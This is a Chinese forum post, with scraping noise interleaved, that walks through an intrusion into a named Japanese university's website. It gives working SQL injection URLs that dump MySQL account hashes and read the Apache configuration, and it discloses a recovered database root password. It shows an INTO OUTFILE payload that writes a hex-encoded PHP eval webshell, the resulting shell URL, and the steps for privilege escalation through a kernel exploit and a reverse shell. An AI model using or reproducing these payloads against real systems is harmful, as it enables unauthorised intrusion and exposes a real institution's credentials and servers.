入侵日本同志社大学技术分析
7 E7 t) Z1 o( ]8 E6 u* i; B+ q) C1 W
/ y8 W* z+ W! I9 ?" g w9 e- Y/ J$ q+ [http://www.doshisha.ac.jp/chs/news/index.php?i=-1. G2 r$ p& s. x: S* }( Y6 E
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
?+ z& \ Z' O- X
. U, z+ m& g' i3 fhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
) }' ]0 `$ s r
" w% Y! Q8 V1 @
: j5 R4 Z9 \5 s3 M2 Q: s. O! t! H" y
//@@datadir为数据库文件路径 5 o. s0 e0 x% S! H3 x
) b9 p" w, L; D3 a8 \! p
6 f2 u$ q, o4 P' j) ^//load_file读取网站容器apache的配置文件 ; m0 q% q9 j# o
- `# ?, m8 F3 P9 F1 a+ J9 Q5 N1 U
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
. j8 N/ f4 D: U; x1 r, \8 r3 s' e复制代码
- k. C0 A, w6 r) E$ q0 X0 u2 Q# z: v1 i4 ?
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
1 {( S& a: _# i1 x* X
" l+ j6 x) L& c而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。( [ v% p, L% Z! _( D
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
! F/ w" G" @# p; q% Y6 h0 r& k% z1 I8 f+ r5 }2 @/ z
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
! P+ V" t* a* p) q: e6 X- m- u如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html. y m) B5 y3 C( ~
/ [ f, v2 c9 ^既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/: L; }( I8 H' c8 f# r8 Q7 p: K- S
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
8 o2 A% }. o3 U# K6 @直接写一句话:) b3 D) C% c( U) p' ]6 e+ ^
- Y) n. S0 L E( g- thttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#& p# p2 [8 R9 [ ~
, t9 Q5 m4 P5 A& b2 ~0 Q1 b1 x0 g0 z9 p
3 _& _# z N& Z/ p, i
3 y, S' ` d5 U! P: Q3 b
//最后的#是为了闭合前面的语句
$ f+ x( N% ~& o, Y7 h' r+ K7 t/ B
0 I0 u$ |" z+ R5 a3 J2 X
7 ?, F5 u8 N" l( u+ [/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
2 R, J. Y* y& m d: V2 @ : p7 y% U. K' X. d. d
7 o. ~" X. F/ G, x2 Z为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 6 S* U5 c( n+ } m; r2 t! ~
9 j, V! p" m1 [# I
- T' v, B; T3 [1 B, R9 k//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
8 O+ A1 C7 ?1 ^
& W |8 u# ?' x& F- k1 M6 l2 F2 z# v1 u1 V$ I$ ?
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
( {$ r' f# g8 E" u//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
9 {3 y: {2 Q9 [2 @复制代码
" C' W7 r1 [% ^! F/ C4 Z; g4 X6 K1 P6 |7 S, V) Z/ v
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有) v. u" [ {1 `0 w# R W4 _0 L8 I4 T6 W3 {
通过上述注入语句,我们就得到了一句话木马:
* R) Q' b8 q9 c* u5 N
1 W: X: F. ~: a: r0 j6 ~- u1 }
5 X& U. h9 h1 S
" R/ Z! D# m, y" d0 b0 M
" `; m' N+ X- s; s4 q0 \2 t- K4 c( h' ^$ [
http://www.doshisha.ac.jp/english/engnews_img/aa.php
' A2 ?- i0 l( o. c复制代码, u/ }7 M. l! ~0 l# t
% j q( u( F3 c8 N1 f0 [$ D' z
用菜刀连接,密码是cmd,如图所示:
- O# J) A O0 R( l; _& d7 g8 F然后在命令提示行里看了一下,现在的权限是:- d" c" J6 \, C, `1 P) h9 r
7 X0 L# q' l5 v! r% q' ]: i之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。! u+ j: v' k y: H' g5 q# @
好在赋权给这个文件夹不需要root,直接执行赋权语句:3 A# X% t- Y$ b: p. K: ^7 S# T
7 L" j) [6 t" w) ?" ^" X! K7 `7 j$ P
3 S7 j4 Z* j! G1 F* R
$ B( h5 D/ D! M& M! O6 u; ]
( l7 n/ e: T& u& V) B# c# Z2 E( k9 g8 w# Z3 i
chmod +x /tmp/
% r ]' d" y9 R5 ?3 g复制代码/ T: w6 o+ i0 A" S+ L/ f% P
( t# y( s3 X/ Y% Q4 `6 f
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
: Y3 H/ B' s$ ]& a然后就查了一下内核版本:% D0 g4 t. A: Q! [1 J+ s+ U5 f I
( S" _0 M' g; `) @6 r
2 Q$ g9 R1 m& {0 A
! G8 T' f1 O% ^# p# z/ n) p [
+ M6 Q7 C3 z, {! I% u1 b9 |3 n* ~' w
* W" y( e* n8 f
uname-a # l5 ?1 O, x" Y" u6 \9 U
6 v& u4 e' T6 w2 b4 `* a2 `" j! l* F! y
//其实lsb_release -a
# }( _2 Q: [+ e& M! c复制代码5 Y( {: I6 \+ i! c2 {
# D- e6 G. s- d* X. s( }$ `如图所示:
4 \4 C$ D ^# Z# ]0 H. r
n; p5 J N* j( @内核版本:linux mainz1 2.6.28-194.e15, B$ `; y0 o8 ]4 L4 S
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)+ y- H7 f6 w7 S+ Y* `4 K
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
7 L9 r7 X+ G9 M/ d8 B
; D+ W' B9 U6 t6 h L7 r, O然后给予执行权限
# x" ?6 A& X8 a2 W$ m7 R4 K一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样1 r$ V& K! {6 J' ~
+ p7 F, d* e1 N
( i; y0 G) ]! E
0 }% N+ a6 k) j3 P9 }
* _! ~. W' q' c- G! }% l+ s3 d! ~
chmod +x /tmp/2.6.18-194
! t3 m% D* u+ b" \9 W7 ~1 _3 r: F复制代码 然后直接执行!~
9 N3 P8 M0 W3 q1 F0 a+ p. d* Z* R/ H( m5 I/ d2 N
总结:
6 u4 h4 |/ ]5 }5 z- j. ]这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了+ ?8 ~, n2 m& c
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
, ]4 T; U! t0 l" t8 v& c8 |) P7 x# Q
# e b8 }3 x4 G5 U+ b' _ N |